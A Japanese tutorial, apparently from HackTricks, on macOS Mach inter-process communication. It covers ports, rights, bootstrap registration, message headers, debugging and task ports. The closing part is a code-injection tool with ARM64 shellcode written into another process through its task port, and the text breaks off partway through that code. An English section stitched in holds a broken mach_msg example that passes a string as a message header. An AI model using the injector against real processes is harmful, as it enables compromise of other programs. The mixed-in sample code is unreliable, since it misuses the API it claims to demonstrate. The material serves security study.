macOS IPC - Inter Process Communication

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

ポートを介したMachメッセージング

基本情報

Machはリソースを共有するための最小単位としてタスクを使用し、各タスクには複数のスレッドが含まれることができます。これらのタスクとスレッドは、1:1でPOSIXプロセスとスレッドにマップされます。

タスク間の通信は、Machインタープロセス通信(IPC)を介して行われ、カーネルによって管理されるメッセージキューのように機能するポート間でメッセージが転送されます。

ポートはMach IPCの基本要素です。これを使用してメッセージを送信および受信することができます。

各プロセスにはIPCテーブルがあり、そこにはプロセスのMachポートが見つかります。Machポートの名前は実際には数値(カーネルオブジェクトへのポインタ)です。

プロセスはまた、ポート名といくつかの権限を異なるタスクに送信することができ、カーネルはこれを他のタスクのIPCテーブルにエントリとして登録します。

ポート権限

タスクが実行できる操作を定義するポート権限は、この通信に重要です。可能なポート権限は以下の通りです(ここからの定義):

  • 受信権限:ポートに送信されたメッセージを受信する権限。MachポートはMPSC(multiple-producer, single-consumer)キューであり、システム全体で各ポートにつき1つの受信権限しか存在しない(複数のプロセスが1つのパイプの読み取り端に対するファイルディスクリプタを保持できるパイプとは異なります)。

  • 受信権限を持つタスクはメッセージを受信し、送信権限を作成できるようになり、メッセージを送信できるようになります。元々は自分のタスクだけがポートに対して受信権限を持っていました

  • 受信権限の所有者が死亡したり、削除した場合、送信権限は無効になります(デッドネーム)

  • 送信権限:ポートにメッセージを送信する権限。

  • 送信権限はクローンできるため、送信権限を所有するタスクは権限を複製し、第三のタスクに付与できます。

  • ポート権限はMacメッセージを介しても渡すことができます。

  • 一度だけ送信権限:ポートに1つのメッセージを送信し、その後消える権限。

  • この権限はクローンできませんが、移動できます。

  • ポートセット権限:単一のポートではなく_ポートセット_を示す権限。ポートセットからメッセージをデキューすると、それが含むポートの1つからメッセージがデキューされます。ポートセットは、Unixのselect/poll/epoll/kqueueのように複数のポートで同時にリッスンするために使用できます。

  • デッドネーム:実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限がデッドネームに変わります。

タスクはSEND権限を他のタスクに転送して、メッセージを返信できるようにします。SEND権限はクローンできるため、タスクは権限を複製して第三のタスクに権限を与えることができます。これにより、ブートストラップサーバと呼ばれる中間プロセスと組み合わせることで、タスク間の効果的な通信が可能となります。

ファイルポート

ファイルポートは、Macポート(Machポート権限を使用)でファイルディスクリプタをカプセル化することを可能にします。指定されたFDからfileport_makeportを使用してfileportを作成し、fileport_makefdを使用してファイルポートからFDを作成することができます。

通信の確立

前述のように、Machメッセージを使用して権限を送信することが可能ですが、Machメッセージを送信する権限がない場合は権限を送信することはできません。では、最初の通信はどのように確立されるのでしょうか?

このために、ブートストラップサーバ(macではlaunchd)が関与します。誰でもブートストラップサーバにSEND権限を取得できるため、他のプロセスにメッセージを送信する権限を要求することができます:

  1. タスクA新しいポートを作成し、そのポートに対する受信権限を取得します。

  2. 受信権限の所有者であるタスクAは、ポートに対する送信権限を生成します。

  3. タスクAブートストラップサーバ接続し、最初に生成したポートの送信権限をブートストラップサーバに送信します。

    • 誰でもブートストラップサーバにSEND権限を取得できることを覚えておいてください。

  4. タスクAはbootstrap_registerメッセージをブートストラップサーバに送信して、com.apple.taskaのような名前で指定されたポートを関連付けします。

  5. タスクBブートストラップサーバとやり取りして、サービス名(bootstrap_lookup)のブートストラップ検索を実行します。ブートストラップサーバが応答するために、タスクBは検索メッセージ内で以前に作成したポートに対するSEND権限をブートストラップサーバに送信します。検索が成功すると、サーバはTask Aから受け取ったSEND権限を複製し、Task Bに送信します。

    • 誰でもブートストラップサーバにSEND権限を取得できることを覚えておいてください。

  6. このSEND権限を使用して、Task BTask Aメッセージを送信できます。

  7. 双方向通信のために通常、タスクB受信権限と送信権限を持つ新しいポートを生成し、SEND権限をTask Aに渡すことで、Task Bにメッセージを送信できるようにします(双方向通信)。

ブートストラップサーバは、タスクが主張するサービス名を認証できません。これは、タスクが潜在的に任意のシステムタスクをなりすます可能性があることを意味します。たとえば、認証サービス名を偽って承認リクエストを承認することができます。

その後、Appleはシステム提供サービスの名前を、SIPで保護されたディレクトリにあるセキュアな構成ファイルに保存しています:/System/Library/LaunchDaemonsおよび/System/Library/LaunchAgents。ブートストラップサーバは、これらのサービス名ごとに受信権限を作成し、保持します。

これらの事前定義されたサービスについては、検索プロセスがわずかに異なります。サービス名が検索されると、launchdはサービスを動的に開始します。新しいワークフローは次のとおりです:

  • タスクBはサービス名のためにブートストラップ検索を開始します。

  • launchdはタスクが実行されているかどうかをチェックし、実行されていない場合は起動します。

  • タスクA(サービス)はブートストラップチェックインbootstrap_check_in())を実行します。ここで、ブートストラップサーバはSEND権限を作成し、保持し、受信権限をTask Aに転送します。

  • launchdはSEND権限を複製し、Task Bに送信します。

  • タスクB受信権限と送信権限を持つ新しいポートを生成し、Task A(svc)にSEND権限を渡します(Task Bにメッセージを送信できるようにするため)。

ただし、このプロセスは事前定義されたシステムタスクにのみ適用されます。非システムタスクは引き続き最初に説明されたように動作し、なりすましを許可する可能性があります。

したがって、launchdがクラッシュするとシステム全体がクラッシュします。

Machメッセージ

詳細はこちらを参照

mach_msg関数は、基本的にシステムコールであり、Machメッセージの送受信に使用されます。この関数は、送信するメッセージを最初の引数として必要とします。このメッセージは、mach_msg_header_t構造体で始まり、実際のメッセージ内容が続きます。この構造体は以下のように定義されています:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

プロセスは 受信権 を持っていると、Mach ポートでメッセージを受信できます。逆に、送信者送信権 または 一度だけ送信権 を付与されます。一度だけ送信権は、1回のメッセージ送信後に無効になります。

初期フィールド msgh_bits はビットマップです:

  • 最初のビット(最も重要なビット)は、メッセージが複雑であることを示すために使用されます(後述)

  • 3番目と4番目はカーネルによって使用されます

  • 2番目のバイトの最下位5ビットバウチャー に使用できます: キー/値の組み合わせを送信するための別のポートの種類。

  • 3番目のバイトの最下位5ビットローカルポート に使用できます

  • 4番目のバイトの最下位5ビットリモートポート に使用できます

バウチャー、ローカルポート、リモートポートに指定できるタイプは、mach/message.h から次のとおりです:

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

たとえば、MACH_MSG_TYPE_MAKE_SEND_ONCEは、このポートに対して派生および転送されるべきsend-once rightを示すために使用できます。受信者がこのメッセージに返信できないようにするためにMACH_PORT_NULLを指定することもできます。

簡単な双方向通信を実現するために、プロセスは_mach message header_内の返信ポート(msgh_local_port)と呼ばれるmach portを指定できます。メッセージの受信者はこのメッセージに返信することができます。

この種の双方向通信は、リプライを期待するXPCメッセージで使用され、(xpc_connection_send_message_with_replyおよびxpc_connection_send_message_with_reply_sync)。ただし、通常は異なるポートが作成され、双方向通信が作成されるように説明されています。

メッセージヘッダーの他のフィールドは次のとおりです。

  • msgh_size: パケット全体のサイズ。

  • msgh_remote_port: このメッセージが送信されるポート。

  • msgh_voucher_port: mach vouchers

  • msgh_id: 受信者によって解釈されるこのメッセージのID。

machメッセージはmach portを介して送信されることに注意してください。これは、machカーネルに組み込まれた単一の受信者複数の送信者通信チャネルです。複数のプロセスがmachポートにメッセージを送信できますが、いつでも単一のプロセスだけがそれから読み取ることができます。

その後、メッセージは**mach_msg_header_tヘッダーに続く本文トレーラー**(ある場合)によって形成され、それに返信する権限を付与できます。この場合、カーネルは単にメッセージを1つのタスクからもう1つのタスクに渡す必要があります。

トレーラーは、カーネルによってメッセージに追加される情報(ユーザーによって設定されることはできません)であり、メッセージ受信時にMACH_RCV_TRAILER_<trailer_opt>フラグでリクエストできます(リクエストできる異なる情報があります)。

複雑なメッセージ

ただし、追加のポート権限を渡すかメモリを共有するなど、より複雑なメッセージもあります。この場合、カーネルはこれらのオブジェクトを受信者に送信する必要があります。この場合、ヘッダーmsgh_bitsの最上位ビットが設定されます。

渡す可能性のある記述子は、mach/message.hで定義されています。

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

MacポートAPI

ポートはタスク名前空間に関連付けられていることに注意してください。したがって、ポートを作成または検索するには、タスク名前空間もクエリされます(mach/mach_port.hで詳細を確認):

  • mach_port_allocate | mach_port_construct: ポートを作成します。

  • mach_port_allocateポートセットを作成することもできます:ポートのグループに対する受信権利。メッセージを受信するたびに、それがどのポートから送信されたかが示されます。

  • mach_port_allocate_name: ポートの名前を変更します(デフォルトは32ビット整数)

  • mach_port_names: ターゲットからポート名を取得します

  • mach_port_type: タスクが名前に対して持つ権利を取得します

  • mach_port_rename: ポートの名前を変更します(FDのdup2のようなもの)

  • mach_port_allocate: 新しいRECEIVE、PORT_SET、またはDEAD_NAMEを割り当てます

  • mach_port_insert_right: 受信権限を持つポートに新しい権限を作成します

  • mach_port_...

  • mach_msg | mach_msg_overwrite: machメッセージを送受信するために使用される関数。上書きバージョンでは、メッセージ受信用に異なるバッファを指定できます(他のバージョンは再利用します)。

デバッグ mach_msg

関数**mach_msgmach_msg_overwrite**はメッセージを送受信するために使用される関数であるため、これらにブレークポイントを設定すると、送信されたメッセージと受信されたメッセージを検査できます。

たとえば、デバッグできるアプリケーションをデバッグ開始すると、この関数を使用する**libSystem.Bがロードされます**。

(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

**mach_msg**の引数を取得するには、レジスタを確認します。これらが引数です(mach/message.hから):

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

レジストリから値を取得します:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

メッセージヘッダーを調査し、最初の引数をチェックします。

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

その種類の mach_msg_bits_t は、返信を許可するために非常に一般的です。

ポートの列挙

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

名前 はポートにデフォルトで与えられる名前です(最初の3バイトで増加しているかを確認してください)。 ipc-object はポートの難読化された一意の識別子です。 また、send 権限のみを持つポートは、それの所有者を識別しています(ポート名 + pid)。 また、+ を使用して、同じポートに接続された他のタスク を示すことに注意してください。

また、procesxp を使用して、登録されたサービス名com.apple.system-task-port の必要性により SIP が無効になっている)も表示することができます。

procesp 1 ports

iOS でこのツールをインストールするには、http://newosxbook.com/tools/binpack64-256.tar.gz からダウンロードしてください。

コード例

sender がポートを割り当て、名前 org.darlinghq.example送信権を作成し、それをブートストラップサーバーに送信する方法に注目してください。送信者はその名前の送信権を要求し、それを使用してメッセージを送信しました。

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

macOS Inter-Process Communication (IPC)

macOS provides several mechanisms for inter-process communication (IPC), such as Mach ports, XPC services, and UNIX domain sockets. These mechanisms allow processes to communicate and share data with each other.

One common use case for IPC is to send messages or data between processes. This can be useful for implementing features like inter-application communication, service management, and more.

In this example, we demonstrate how to use Mach ports for IPC in macOS. Mach ports are a low-level IPC mechanism that allows processes to send messages to each other. By creating a Mach port and sending messages through it, processes can communicate and exchange data.

// sender.c

#include <stdio.h>
#include <mach/mach.h>

int main() {
    mach_port_t port;
    kern_return_t kr;

    // Create a new Mach port
    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (kr != KERN_SUCCESS) {
        printf("Failed to create Mach port: %s\n", mach_error_string(kr));
        return 1;
    }

    printf("Created Mach port: %d\n", port);

    // Send a message through the Mach port
    kr = mach_msg((mach_msg_header_t *) "Hello, receiver!", MACH_SEND_MSG, sizeof("Hello, receiver!"), 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (kr != KERN_SUCCESS) {
        printf("Failed to send message: %s\n", mach_error_string(kr));
        return 1;
    }

    printf("Message sent successfully\n");

    return 0;
}

In this code snippet, we first create a Mach port using mach_port_allocate(), then send a message through the port using mach_msg(). The receiver process would need to have a corresponding Mach port to receive the message sent by the sender.

This is a basic example of IPC using Mach ports in macOS. Depending on your use case, you may need to implement additional error handling and security measures to ensure the integrity and confidentiality of the communication between processes.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

特権ポート

特定の機密操作を実行したり、特定の機密データにアクセスしたりすることができる特別なポートがいくつかあります。これらのポートは、それらに対してSEND権限を持つタスクがある場合にのみ、非常に興味深いものとなります。これは、攻撃者の観点からだけでなく、複数のタスク間でSEND権限を共有できるためです。

ホスト特別ポート

これらのポートは番号で表されます。

SEND 権限は、host_get_special_port を呼び出すことで取得でき、RECEIVE 権限は host_set_special_port を呼び出すことで取得できます。ただし、これらの呼び出しには host_priv ポートが必要であり、これにアクセスできるのは root のみです。さらに、過去には root が host_set_special_port を呼び出して任意のポートを乗っ取ることができ、たとえば HOST_KEXTD_PORT を乗っ取ることでコード署名をバイパスすることが可能でした(SIP がこれを防止しています)。

これらは 2 つのグループに分かれています: 最初の 7 つのポートはカーネルが所有し、1 が HOST_PORT、2 が HOST_PRIV_PORT、3 が HOST_IO_MASTER_PORT、7 が HOST_MAX_SPECIAL_KERNEL_PORT です。 8 から始まるポートは システムデーモンが所有し、host_special_ports.h で宣言されています。

  • Host port: プロセスがこのポートに対してSEND権限を持っている場合、次のようなルーチンを呼び出すことでシステムに関する情報を取得できます:

  • host_processor_info: プロセッサ情報を取得

  • host_info: ホスト情報を取得

  • host_virtual_physical_table_info: 仮想/物理ページテーブル(MACH_VMDEBUG が必要)

  • host_statistics: ホスト統計情報を取得

  • mach_memory_info: カーネルメモリレイアウトを取得

  • Host Priv port: このポートに対してSEND権限を持つプロセスは、ブートデータを表示したり、カーネル拡張をロードしようとしたりするなど、特権操作を実行できます。この権限を取得するには、プロセスは root である必要があります

  • さらに、kext_request API を呼び出すには、Apple バイナリにのみ与えられる com.apple.private.kext* という他の権限が必要です。

  • 呼び出すことができる他のルーチンには次のものがあります:

  • host_get_boot_info: machine_boot_info() を取得

  • host_priv_statistics: 特権統計情報を取得

  • vm_allocate_cpm: 連続した物理メモリを割り当て

  • host_processors: ホストプロセッサに対するSEND権限

  • mach_vm_wire: メモリを常駐させる

  • root はこの権限にアクセスできるため、host_set_[special/exception]_port[s] を呼び出してホストの特別ポートや例外ポートを乗っ取ることができます。

すべてのホスト特別ポートを表示することができます。

procexp all ports | grep "HSP"

タスクポート

元々Machには「プロセス」ではなく「タスク」があり、これはスレッドのコンテナのように考えられていました。MachがBSDと統合された際、各タスクはBSDプロセスと関連付けられました。したがって、すべてのBSDプロセスにはプロセスであるために必要な詳細があり、すべてのMachタスクにも内部動作があります(ただし、存在しないpid 0はkernel_taskです)。

これに関連する2つの非常に興味深い関数があります:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): 指定されたpidに関連するタスクのタスクポートのSEND権を取得し、指定されたtarget_task_port(通常はmach_task_self()を使用した呼び出し元タスクですが、異なるタスク上のSENDポートでもかまいません)にそれを与えます。

  • pid_for_task(task, &pid): タスクへのSEND権を持つ場合、このタスクが関連付けられているPIDを見つけます。

タスク内でアクションを実行するためには、タスク自体に対するSEND権が必要で、mach_task_self()を呼び出すことでこれを取得します(これはtask_self_trap(28)を使用します)。この権限を持つと、タスクは次のようなアクションを実行できます:

  • task_threads: タスクのスレッドのすべてのタスクポートに対するSEND権を取得

  • task_info: タスクに関する情報を取得

  • task_suspend/resume: タスクを一時停止または再開

  • task_[get/set]_special_port

  • thread_create: スレッドを作成

  • task_[get/set]_state: タスクの状態を制御

  • その他、mach/task.hで見つけることができます。

異なるタスクのタスクポートに対するSEND権を持つと、異なるタスク上でそのようなアクションを実行できる可能性があります。

さらに、タスクポートは**vm_mapポートでもあり、vm_read()vm_write()などの関数を使用してタスク内のメモリを読み取りおよび操作できます。基本的に、異なるタスクのタスクポートに対するSEND権を持つタスクは、そのタスクにコードをインジェクト**できることを意味します。

カーネルもタスクであることを覚えておいてください。したがって、誰かが**kernel_taskに対してSEND権限**を取得すると、カーネルに任意のコードを実行させることができます(ジェイルブレイク)。

  • mach_task_self()を呼び出して、呼び出し元タスクのこのポートの名前を取得します。このポートは**exec()を介してのみ継承**されます。fork()で作成された新しいタスクは新しいタスクポートを取得します(特別なケースとして、exec()後のsuidバイナリではタスクも新しいタスクポートを取得します)。タスクを生成してそのポートを取得する唯一の方法は、fork()を実行しながら"port swap dance"を実行することです。

  • これらはポートへのアクセス制限です(バイナリAppleMobileFileIntegritymacos_task_policyから):

    • アプリが**com.apple.security.get-task-allow権限**を持っている場合、同じユーザーのプロセスがタスクポートにアクセスできます(デバッグ用にXcodeによって一般的に追加されます)。ノータリゼーションプロセスはこれを本番リリースには許可しません。

    • com.apple.system-task-ports権限を持つアプリは、カーネルを除く任意のプロセスのタスクポートを取得できます。以前のバージョンでは**task_for_pid-allow**と呼ばれていました。これはAppleアプリケーションにのみ付与されます。

    • Rootは、ハード化されていないランタイムでコンパイルされたアプリケーションのタスクポートにアクセスできます(Apple製品ではない)。

タスク名ポート:_タスクポート_の権限がないバージョン。タスクを参照しますが、制御することはできません。これを介して利用可能な唯一のものは、task_info()のようです。

タスクポートを介したスレッドへのシェルコードインジェクション

シェルコードを取得できます:

pageIntroduction to ARM64v8
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

次の手順は、IPC(プロセス間通信)を使用して権限昇格を行う方法を示しています。IPCは、macOSシステム内のプロセス間でデータをやり取りするためのメカニズムです。攻撃者は、IPCを悪用して権限を昇格させることができます。

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

前のプログラムをコンパイルし、同じユーザーでコードをインジェクトできるように権限を追加します(そうでない場合はsudoを使用する必要があります)。

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

